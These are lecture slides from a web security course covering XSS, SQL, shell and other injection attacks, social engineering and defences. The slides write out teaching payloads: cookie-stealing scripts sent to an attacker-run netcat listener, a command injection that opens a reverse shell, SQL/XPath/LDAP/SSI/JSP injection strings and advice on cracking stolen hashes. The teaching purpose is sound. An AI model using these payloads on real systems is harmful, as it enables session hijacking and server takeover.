Web Security Objectives Understand the complexity of Web

Web Security

Objectives Understand the complexity of Web infrastructure and current trends of Web threat n Understand the mechanisms and defense of major Web attacks: XSS, SQL injection and shell attacks n

Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications n > 80% of vulnerabilities discovered are in web apps n Independent security audit n Regulatory compliance n

Auditor finding n Freeform edit box – Message to Customer Service XSS issue raised n Must provide a response: n – Prove issue to be a non-problem or – Describe actions to take

Anatomy of Web Attacks 1. 2. 3. Attacker breaks into a legitimate website and posts malware • Malware is no longer exclusive to malicious Web sites. Attacking end-user machines. • Malware on a Web site makes its way down on to a user’s machine when that user visits the host Web site. • “Drive-by-download” – happens automatically with no user interaction required • Additional techniques which do require some input from the user, but in practice are equally, if not more so, effective. Leveraging end user machines for malicious activity.

Anatomy of Web Attacks Source: Web Based Attacks, Symantec 2009

Web Applications n Big trend: software as a (Web-based) service – Online banking, shopping, government, etc. – Cloud computing n Applications hosted on Web servers – Written in a mixture of PHP, Java, Perl, Python, C, ASP n Security is rarely the main concern – Poorly written scripts with inadequate input validation – Sensitive data stored in world-readable files

Typical Web Application Design n n Runs on a Web server or application server Takes input from Web users (via Web server) Interacts with back-end databases and third parties Prepares and outputs results for users (via Web server) – Dynamically generated HTML pages – Contain content from many different sources, often including regular users n n Blogs, social networks, photo-sharing websites… Web advertisements, usually third party – A webpage can have content coming from 10 -20 different domains

Two Sides of Web Security n Web browser (front end) – Can be attacked by any website it visits – Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data n Web application (back end) – Runs at website n Banks, online merchants, blogs, Google Apps, etc. – Written in Javascript, PHP, ASP, JSP, Ruby, … – Many potential bugs: XSS, SQL injection, XSRF – Attacks lead to stolen credit cards, defaced sites, etc.

Chicago Tribune Home Page

How Are Legitimate Web Sites Compromised? n n SQL Injection Attacks Cross-site scripting (XSS) attacks Vulnerabilities in the Web server or forum hosting software (e. g. , shell attacks) Malicious Advertisements – – – n n Many Web sites today display advertisements hosted by third-party advertising sites Volume of ads published automatically makes detection difficult Random appearances further compounds the detection Search Engine Result Redirection Attacks on the backend virtual hosting companies

Java. Script n Language executed by browser – Scripts are embedded in Web pages – Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page n Used to implement “active” web pages – AJAX, huge number of Web-based applications n Many security and correctness issues – Attacker gets to execute some code on user’s machine slide 13 – Often used to exploit other vulnerabilities

Cross Site Scripting Attacker goal: their code into browser n XSS forces a website visitor to execute malicious code in his/her browser n Count for roughly 80% of all documented security vulnerabilities n

XSS Risks XSS abuses render engines or plug-ins n Steal browser cookies n Steal session info for replay attack n Malware or bot installation n Redirect or phishing attempt n

XSS Example 1 n n Trudy posts the following Java. Script on a message board: <script language="javascript"> var url = "http: //machineaddress: 5000/index. html? cookie=“ + encode. URI(document. cookie); </script> Then run a TCP server listening on port 5000 with e. g. , nc –l 5000 When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

Web Attack Demo Flow Chart

XSS Demo Instructions Set port forward to bypass the firewall ssh -L 9000: netsec-demos: 2000 ychen@hamsa. cs. northwestern. edu n Note: 9000 is the local port, it's forwarded to netsecdemos port 2000 through hamsa proxy n Use http: //localhost: 9000 to access http: //netsec-demos. cs. northwestern. edu: 2000

XSS Demo Instructions (II) n Login as ychen and post the script with a sexy title (e. g. , hot game!) <script language="javascript"> var url = "http: //netsec. cs. northwestern. edu: 5000/index. html? cookie="; url = url + encode. URI(document. cookie); new Image(). src=url; </script> Hi Everyone! Thanks for your cookies! n Ssh to that machine (e. g. , netsec. cs. northwestern. edu) and run nc –l –p 5000

Simple XSS Code var url = "http: //machineaddress: 5000/index. html? cookie=“+ encode. URI(document. cookie); n document. cookie is the browser's entire cookie for the current website n encode. URI() is a javascript function to hex-encode certain characters to be included as part of a URL – E. g. , changing the space character to %20 – Make the URL less suspicious

What can Trudy Do with the Cookie? Another user test 458 login as and when clicking the post, cookie is sent to the attacker n Crack Bob’s password (MD 5 hash in the cookie) with John the Ripper, Hydra, or any password cracker n n For more info, http: //netsec. cs. northwestern. edu/resources/passwordcracking/ n Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

XSS Detection A client usually is not supposed to send scripts to servers n If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred n – A sanitized script could look like &ls; SCRIPT> … n Any user input must be preprocessed before it is used inside HTML

SQL Injection Malicious SQL statements run on a database and thus attack the server – XSS can only target other users

SQL Injection Example n n n Trudy accesses Bob’s website; in which he does not validate input on his sign in form – Runs a SQL statement like the following: – select username, user_password from minibbtable_users where user_password = md 5('johnspassword') and username='johndoe’; Set username to ' or '1'='1 select username, user_password from minibbtable_users where user_password = md 5('anyrandompassword') and username='' or '1'='1’; Effect: picks any row where the username is blank and the password matches or any row where true. Add “limit 1” to pick the first row

SQL Injection Detection n Input validation on any outgoing SQL statements from the web server to the database server – Filter n Apostrophes, semicolons, percent symbols, hyphens, underscores, … n Any character that has special meanings must be escaped, . e. g. , convert ’ into ’ – Only works for string inputs – Different databases have different rules for escaping – Check the data type (e. g. , make sure it’s an integer)

Shell Attacks Control an actual machine like a web server

Shell Attacks n Inject commands into scripts that use Linux utilities – E. g. , with “; ” as command separator in UNIX/LINUX CGI programs like perl can use command-line programs (e. g. grep, ls) n Unsanitized input as arguments can lead to command execution. n

Shell Attacks Demo n Search engine in Mini. BB webserver executes system("echo $user_usr ". $phrase. " >>/tmp/searchlogs"); n Put phrase as: >/dev/null; id; echo randomdata – Hide user ID – Store random data in logs to evade detection n We can even get a remote shell ! – >/dev/null; nc netsec 5000 -e /bin/sh

Defense Approaches n Web firewall/IDS – Mod. Security for Apache – Commercial: Secure. Sphere from Imperva n Static code analysis – Open source: Nikto – Commercial: n Acutenix n N-stalker n Web Vulnerability Scanner Education on good coding – HTML encoding on input (server-side) – Input validation/filtering

XSRF

Discussion of Symantec White Papers: GETTING ONTO A USER’S COMPUTER (AUTOMATICALLY)

GETTING ONTO A USER’S COMPUTER Source: Web Based Attacks, Symantec 2009

Automatic Attack Exposure Techniques used to deliver malware from Websites to a users computer. n Exposure n – Browsing a website – No user interaction is required – Executable content is automatically downloaded

“Click Jacking”

GETTING ONTO A USER’S COMPUTER (WITH A LITTLE HELP FROM THE USER)

Social Engineering • People are tricked into performing actions they would not otherwise want to perform Source: Web Based Attacks, Symantec 2009

Types of Social Engineering Attacks Fake Codec n Malicious Peer-to-Peer (P 2 P) Files n Malicious Advertisements n Fake Scanner Web Page n Online Social Networks (OSN)/Blog Spam n Other Attack Vectors n – Spam

Fake Codec User is prompted to install a missing codec n Codec is actually malware code n – Usually a trojan horse

Malicious Peer-to-Peer (P 2 P) Files n n Malware authors bind content into popular applications – Files named after celebrities, popular bands – Uploaded to popular P 2 P sites where they are downloaded by unsuspecting users Openly available how-to materials on the internet – Details how to build and distribute malware – Pay-Per-Install malware

Fake Scanner and Pirated Software n Create a web site or product that misrepresents the truth – Java. Script pop-ups notifying of false need to install operating system updates –Tools that claim to scan for and remove adult images, etc. Source: Web Based Attacks, Symantec 2009

Online Social Networks (OSN) Among world’s most visited websites by Alexa http: //afrodigit. com/visited-websites-world/ 2 1. 35 billion monthly active users by Jul 2014 10 284 million users by Oct 2014 14 332 million users by Nov 2014 41

Scary OSN Spam Stats n 2011. 3. 5 billion tweets posted to Twitter every day are spam http: //tinyurl. com/p 8 mqqvs n 2014. 14 percent of Twitter’s user base is bots and spam bots http: //tinyurl. com/l 755 bvm 42

OSN Spam and Defense 43

How to Protect Yourself (Client side) n Update and Patch Software – Get latest OS, Browser, Application patches – Browswer Plug-in updates often forgotten n Endpoint Protection Software – Anti-virus software for signature based detection and behavioral monitoring – Update Protection Software Subscription n n Could miss 70, 000 new unique virus variants for one week Be Suspicious – Avoid things that seem too good to be true n Adopt Strong Password Policy

Web Reputation Systems (ISP/Enterprise side) n Local Blacklist/Whitelist Database Web Reputation Agent n n Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Web Reputation System in Intelligent Cloud Network

Summary Complexity of Web infrastructure and current trends of Web threat n Mechanisms and defense of major Web attacks n – XSS – SQL injection – Shell attacks n New Web attack trends in Symantec white paper

Backup Slides

Existing Systems Comparison Iron. Port Safe Browsing Web of Trust Trend Micro Web Rep Mc. Afee Content. Dynamic/ Training Set based/URL Static -based Both Mixed URLs from 100, 000 Orgs Content. Dynamic N/A based URL-based Static User Comments Input Output URL Malware, Phishing, and Spam Malware and Phishing Both Mixed Not Public URL URL Malware, Phishing, and Spam

Crowd Sourcing Engine Web Reputation Agent URL Classification Engine Intelligent Cloud Network Result Processin g Center Web Sandbox (Dynamically executing Web. Pages ) Phishing Detection Engine Webpage Static Detection Engine n n Web Reputation Agent passes URLs to four fast detecting engines: Crowd Sourcing, URL Classification, Phishing Detection and webpage static engines. These four engines are lightweight and therefore they can detect very fast. These four engines return the scores to Result Processing Center (RPC), which standardized the four scores and generate a final score. If the final score strongly indicates the URLs are legitimate or malicious, RPC returns the score to Web Reputation. Otherwise, RPC passes the URLs to Web Sandbox, which is a heavyweight detecting engine and will detect the URL by executing the contents in the URL.

XSS Example 2 n n Trudy sends a link of the following URL to Bob that will take him to a personalized page: http: //host/personalizedpage. php? username=<sc ript>document. location='http: //trudyhost/cgibin/stealcookie. cgi? '+document. cookie</script> A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the Java. Script to make the URL less suspicious

XPATH Injection Example n n Similar to SQL injection Bob has a form that does not sanitize userprovided input before using it as part of an XPATH query: : – string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) n Trudy again can provide the following password to change the statement’s logic: – – X’ OR ‘x’=‘x The statement thus selects the first account

LDAP Injection Example n Server using LDAP for authentication – User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(user. Name) + ")" ' searching for the user entry n Attacker can exploit using special characters http: //example/ldapsearch. asp? user=*

LDAP Injection Detection is based off of usage of special LDAP characters – System monitors input for special characters – Either scrubs incoming input or watches for unescaped output passed to database server n Detection approach is blackbox

SSI Injection Example Bob has his server configured to use Server. Side Includes n Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web. config"--> n SSI inserts malicious code into normal webpages upon next request n Future legitimate users get content containing the tainted code included by the SSI n

JSP Injection Example Similar to SSI injection n Bob has a portal server configured to use dynamic code for templates n Trudy passes input with an embedded <jsp: include “http: //bad. com/1. jsp” > n malicious code inserted into webpage n

JSP Injection Prevention Prefer static include <%include …> n Don’t allow file inclusion outside of server via Java 2 Security policies n Firewall rules to prevent outbound requests from server n Input validation coding n Choose portal software not requiring dynamic includes or code execution n